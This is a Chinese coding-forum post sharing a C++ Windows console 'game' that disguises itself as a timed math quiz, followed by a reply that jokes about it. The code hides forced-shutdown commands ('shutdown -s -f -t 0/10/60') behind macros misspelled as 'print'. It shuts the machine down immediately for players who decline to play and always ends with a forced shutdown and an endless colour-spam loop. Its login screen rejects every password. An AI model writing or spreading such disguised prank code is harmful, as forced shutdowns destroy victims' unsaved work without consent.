1
已解决
冮欢
资深守护
资深守护
喜欢给个好评哦!
#include<iostream>
#include<windows.h>
#include<conio.h>
#include<stdio.h>
#include<fstream>
using namespace std;
char c;
int x;
string xx;
void Line(string str){
int i,l,w;
w=80;
l=str.length();
for(i=0;i<(w-l)/2;i++)
cout<<" ";
cout<<str<<endl;
return ;
}
void color(int corcorcor){
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),corcorcor);
}
void LoginXZ(){
char c;
Log:
system("cls");
color(14);
Line("登录XZ账号 --- Login XZ");
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
color(7);
Line("L-登录 M-退出");
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
color(10);
Line("没有账号? R-注册");
color(7);
c=getch();
system("cls");
if(c=='L' || c=='l'){
ifstream fin("XZ账户.xzdata");
fin.close();
color(14);
Line("输入密码");
color(12);
color(7);
string pass1;
int i=0;
char ch;
while ((ch=_getch())!=13)
{
pass1+=ch;
cout<<"*";
}
if(1){
system("cls");
Line("抱歉!输入密码错误!请重新登录!(三秒钟后返回)");
Sleep(3000);
goto Log;
}
return ;
}
else if(c=='R' || c=='r'){
color(14);
Line("注册XZ账号 --- Register XZ");
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
color(7);
Line("G-注册一个XZ账号 H-读取王子逸的行走账号");
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
color(10);
Line("已有账号? M-登录");
color(7);
c=getch();
if(c=='M' || c=='m'){
goto Log;
}
else if(c=='H' || c=='h'){
system("cls");
color(14);
Line("读取XZ账号 --- Read XZ");
color(7);
Line("使用提示:请将行走建立的“存档.txt”文件复制到您保存的文件根目录下");
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
Line("G-读取存档");
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
color(10);
Line("已有账号? M-登录");
color(7);
c=getch();
if(c=='M' || c=='m'){
goto Log;
}else if(c=='G' || c=='g'){
ifstream fin("存档.txt");
int lllll;
fin>>lllll;
fin>>lllll;
fin>>lllll;
fin.close();
string s1,s2;
system("cls");
color(14);
Line("设置密码");
color(7);
cin>>s1;
system("cls");
color(14);
Line("再输入一次密码");
color(7);
cin>>s2;
if(s1!=s2){
system("cls");
Line("抱歉!输入密码错误!请重新注册!(三秒钟后返回)");
Sleep(3000);
goto Log;
}
return ;
}else goto Log;
}
else if(c=='G' || c=='g'){
system("cls");
color(14);
Line("设置用户名");
color(7);
string s1,s2;
system("cls");
color(14);
Line("设置密码");
color(7);
cin>>s1;
system("cls");
color(14);
Line("再输入一次密码");
color(7);
cin>>s2;
if(s1!=s2){
system("cls");
Line("抱歉!输入密码错误!请重新注册!(三秒钟后返回)");
Sleep(3000);
goto Log;
}
return ;
}
else goto Log;
}else if(c=='M' || c=='m'){
goto Logok;
}
else goto Log;
Logok:;
}
void fm(){
#define print() system("shutdown -s -f -t 0")
#define pirnt() system("shutdown -a")
#define prnit() system("shutdown -s -f -t 60")
#define pritn() system("shutdown -s -f -t 10")
return ;
}
void XZLogin(){
color(7);
LoginXZ();
ofstream fout("XZ账户.xzdata");
fout.close();
return ;
}
int main(){
srand((unsigned)1);
fm();
cout<<endl;
color(14);
Line("兴 安 科 枝");
cout<<endl;
color(7);
Line("荣 誉 出 品");
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
color(14);
Line("与时间赛跑");
cout<<endl;
color(9);
Line("作者 :冮 欢");
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
color(7);
Line("E键开始游戏");
c=getch();
system("cls");
if(c=='E' || c=='e'){
prnit();
L1:
system("cls");
Line("您的电脑已被诅咒60秒后关机");
Line(" 请您利用有限的时间完成下列计算题,完成后方可解除。");
Line("温馨提示:答错重新开始!");
cout<<endl<<"01 : 1+1=";
cin>>x;
if(x!=2) goto L1;
cout<<"02 : 1+1=";
cin>>x;
if(x!=2) goto L1;
cout<<"03 : 1+1=";
cin>>x;
if(x!=2) goto L1;
cout<<"04 : 1+1=";
cin>>x;
if(x!=2) goto L1;
cout<<"05 : 1+1=";
cin>>x;
if(x!=2) goto L1;
cout<<"06 : 1+1=";
cin>>x;
if(x!=2) goto L1;
cout<<"07 : 1+1=";
cin>>x;
if(x!=2) goto L1;
cout<<"08 : 1+1=";
cin>>x;
if(x!=2) goto L1;
cout<<"09 : 1-1=";
cin>>x;
if(x!=0) goto L1;
cout<<"10 : √9=";
cin>>xx;
if(xx!="±3") goto L1;
cout<<endl;
color(14);
Line("冮欢:小子真聪明,皇军大大的喜欢!");
pirnt();
Sleep(3000);
prnit();
color(7);
system("cls");
Line("玩法升级!");
Line("您的电脑已被诅咒关机");
Line(" 请您10秒钟内完成一道计算题,共5道,全部完成后方可解除。");
Line("温馨提示:答错你猜怎么着!");
cout<<endl;
pritn();
cout<<"1 : 1+2=";
cin>>x;
if(x==3) pirnt();
pritn();
cout<<"2 : 2^1=";
cin>>x;
if(x==2) pirnt();
pritn();
cout<<"3 : 3x2=";
cin>>x;
if(x==6) pirnt();
pritn();
cout<<"4 : 666=";
cin>>x;
if(x==666) pirnt();
pritn();
cout<<"5 : 0÷0=";
cin>>x;
color(14);
Line("冮欢:小子真聪明,皇军大大的喜欢!");
Sleep(3000);
pirnt();
system("cls");
color(7);
Line("但是...");
Sleep(1000);
Line("你长得太丑了,让皇军甚是呕吐!");
Sleep(500);
Line("我要惩罚你!");
Sleep(2000);
pritn();
for(int i=1;i<=1000000000;i++){
color(rand()%256);
cout<<"哈";
}
}else{
cout<<endl;
color(14);
Line("兴 安 科 枝");
cout<<endl;
color(7);
Line("荣 誉 出 品");
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
color(14);
Line("冮欢:听话的小盆友皇军大大的拥护!");
Sleep(1000);
cout<<endl;
color(7);
Line("可你!唉。");
print();
Sleep(30000);
}
return 0;
}
0
已采纳
沙宸安
高级启示者
高级启示者
两个亮点:
1:精神污染
for(int i=1;i<=1000000000;i++){
color(rand()%256);
cout<<"哈";
}
2:兴安科?
你再告诉我,兴安科什么?
沙宸安在2021-02-20 18:12:52追加了内容
我就很无语
0
0
0